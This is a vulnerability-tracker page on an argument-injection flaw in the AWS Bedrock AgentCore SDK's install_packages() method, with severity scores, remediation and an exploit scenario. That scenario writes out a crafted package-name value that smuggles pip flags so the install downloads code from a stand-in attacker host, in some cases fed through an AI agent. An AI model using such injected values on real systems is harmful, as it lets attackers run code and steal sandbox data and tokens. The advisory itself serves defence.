Skip to main content

AWS Bedrock AgentCore SDK CVE-2026-12530

| EUVDEUVD-2026-37802 HIGH
Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (CWE-88)
2026-06-17 AMZN GHSA-6rfw-mq36-jm8h
8.4
CVSS 4.0 · Vendor: AMZN
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain low-priv agent access
  2. Delivery
    Submit crafted package name argument
  3. Exploit
    Operator triggers install_packages() call
  4. Execution
    Argument delimiters break out of pip context
  5. Persist
    Execute arbitrary commands in sandbox
  6. Impact
    Exfiltrate sandbox data and tokens

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Argument sanitization
Exploitation Conditions

Exploitation requires (1) a deployment running AWS Bedrock AgentCore Python SDK >= 1.1.3 and < 1.6.1 with the Code Interpreter sandbox feature enabled, (2) an authenticated low-privilege user (PR:L) able to reach an interface that ultimately calls install_packages() with attacker-influenced package name strings, and (3) user interaction (UI:A) - a second party (typically the operator or an autonomous agent) must actually trigger the install_packages() invocation on the attacker-supplied input. Exploitation is limited to code execution inside the Code Interpreter sandbox (Scope/Subsequent metrics all N), so impact does not natively cross into the host, AWS account, or other tenants without an additional sandbox-escape primitive; deployments that disable dynamic package installation or restrict install_packages() to trusted operators are not exploitable.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N) and 8.4 score reflect remote network reach with low complexity but require low-level authentication and active user interaction, and impact is bounded to the vulnerable system (SC:N/SI:N/SA:N) - consistent with code executing inside an isolated Code Interpreter sandbox rather than the host or AWS control plane. EPSS data was not provided, and the vulnerability is not listed in CISA KEV; no public PoC is referenced, so this is not confirmed actively exploited. The realistic priority is moderate-to-high for any deployment that exposes the AgentCore Code Interpreter to lower-trust users or untrusted agent inputs, because PR:L is trivially met in multi-tenant agent platforms, but lower for closed, single-tenant deployments where only trusted operators invoke install_packages(). One signal worth flagging: UI:A is a meaningful brake - exploitation requires an action by another user (e.g., an operator triggering package install on attacker-supplied input), which should be considered when prioritizing.

Exploit ScenarioDerived

An attacker with low-privileged access to an agent that wraps the AgentCore Code Interpreter submits a prompt or API call whose package list contains a crafted entry like 'requests --index-url http://attacker/ --no-deps malicious-pkg', causing an operator-triggered install_packages() call to fetch and execute attacker-controlled code inside the sandbox. From there the attacker runs arbitrary commands as the sandbox user, exfiltrating any data, credentials, or session tokens reachable from that environment. No public PoC is referenced, but the bug class (argument injection into pip install) is well-understood and trivially weaponizable once an analyst inspects the patched diff.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 17, 2026

Command injection in the AWS Bedrock AgentCore Python SDK (versions >= 1.1.3, < 1.6.1) allows remote authenticated users to execute arbitrary commands within the Code Interpreter sandbox by supplying crafted package name arguments to the install_packages() method. The flaw stems from improper neutralization of argument delimiters (CWE-88), letting attacker-controlled strings break out of the intended pip-install argument context. No public exploit identified at time of analysis, but a vendor patch and advisory are available from AWS.

RemediationAI

Vendor-released patch: 1.6.1 - upgrade the bedrock-agentcore Python package to 1.6.1 or later (pip install --upgrade 'bedrock-agentcore>=1.6.1') and rebuild any container images, Lambda layers, or agent runtimes that bundle the SDK, as documented in the AWS security bulletin https://aws.amazon.com/security/security-bulletins/2026-044-aws/ and the PyPI release at https://pypi.org/project/bedrock-agentcore/1.6.1/. Until the upgrade is rolled out, restrict who can invoke install_packages() to trusted operators only, and validate package name inputs against a strict allowlist (e.g., ^[A-Za-z0-9_.-]+(==[A-Za-z0-9_.-]+)?$) before passing them through - note this will block legitimate version specifiers using extras or markers and any URL/VCS installs. As an additional compensating control, disable arbitrary package installation in the Code Interpreter sandbox or pre-bake required dependencies into the sandbox image, accepting the trade-off that agents lose dynamic dependency installation.

Affected VersionsENISA

bedrock-agentcore 1.1.3 <1.6.1

Affected Packages

pypi bedrock-agentcore fix: 1.6.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

AWS Bedrock AgentCore is Amazon's framework for building generative-AI agents, and the Python SDK exposes a Code Interpreter sandbox in which agents can run user-supplied code, including installing additional Python packages. The install_packages() helper composes a shell or subprocess invocation (typically wrapping pip install) using caller-supplied package name strings. Because those strings are not sanitized for argument delimiters such as spaces, --flags, or shell separators, a malicious package name can inject additional pip arguments (CWE-88: Improper Neutralization of Argument Delimiters in a Command, aka 'Argument Injection') and pivot package installation into arbitrary command execution inside the sandbox. The CPE cpe:2.3:a:aws:bedrock-agentcore identifies the AWS-published Python package distributed as bedrock-agentcore on PyPI.

Know when AWS gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (AMZN) PRIMARY 8.4 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
vuln.today AI 7.3 HIGH

Network-reachable SDK endpoint, low complexity, requires authenticated low-priv user (PR:L) and a second user to trigger install (UI:R); sandbox-bounded RCE yields high C/I but no availability impact and no scope change.

3.1 AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (AMZN).

CVSS VectorVendor: AMZN

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Active
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
Patch available
Jun 19, 2026 - 16:01 EUVD

DescriptionCVE.org

Improper neutralization of argument delimiters in the install_packages() method in AWS Bedrock AgentCore Python SDK versions >= 1.1.3 and < 1.6.1 might allow a remote authenticated user to execute arbitrary commands within the Code Interpreter sandbox via crafted package name arguments.

To mitigate this issue, users should upgrade to version 1.6.1.

Executive ViewAI

Why It Matters

AWS Bedrock AgentCore Python SDK versions 1.1.3 through 1.6.0 contain a command injection vulnerability that allows authenticated users to execute arbitrary code within the Code Interpreter sandbox. Organizations deploying Bedrock agents that process untrusted input-such as customer-facing chatbots or multi-tenant applications-face immediate risk of code execution, data exfiltration, and potential lateral movement within their AWS environment.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.3%
Top 78% exploitable
Threat Intel
1
1 sources
Social Media
2
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

42
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +42
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in AWS

View all
CVE-2026-103956 CRITICAL POC
10.0 Oct 02

Loom for AWS deployments running a version before 1.6.1 with no identity provider configured expose an unauthenticated s

CVE-2026-27702 CRITICAL POC
9.9 Feb 25

Unauthorized data access in Budibase low-code platform before 3.30.4 allows unauthenticated users to manipulate internal

CVE-2025-64709 CRITICAL POC
9.9 Nov 13

Authenticated Typebot users can abuse the webhook block (HTTP Request component) in versions prior to 3.13.1 to issue ar

CVE-2020-37153 CRITICAL POC
9.8 Feb 11

Multiple vulnerabilities in ASTPP 4.0.1 including XSS and command injection in SIP device configuration and plugin manag

CVE-2026-54378 CRITICAL POC
9.3 Nov 04

Broken access control in the VitaFit cloud API before the 2026-10-30 fix lets any authenticated account holder call POST

CVE-2026-87911 CRITICAL POC
9.0 Sep 09

Remote code execution in Amazon awslabs postgres-mcp-server before 1.1.7 lets remote actors run arbitrary OS commands on

CVE-2026-11393 HIGH POC
8.8 Jun 08

Remote code execution in AWS AgentCore CLI before v0.14.2 allows authenticated attackers to inject Python code via craft

CVE-2026-18140 HIGH POC
8.7 Jul 30

Denial of service in the aws-smithy-json Rust runtime crate (versions before 0.62.7) lets remote unauthenticated attacke

CVE-2026-16756 HIGH POC
8.7 Jul 23

Denial of service in Amazon's aws-smithy-http-server Rust crate (versions prior to 0.66.5) lets remote unauthenticated a

CVE-2026-16796 HIGH POC
8.4 Jul 23

Argument injection in the AWS Bedrock AgentCore Python SDK before 1.18.1 lets a remote authenticated user run arbitrary

CVE-2026-9133 HIGH POC
8.3 May 20

Arbitrary file read in amazon-mq rabbitmq-aws before 0.2.1 allows authenticated remote users to read any file accessible

CVE-2026-13763 HIGH POC
7.9 Jun 29

WAF managed-rule body inspection on AWS Application Load Balancer (ALB) can be bypassed by remote actors who fragment an

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy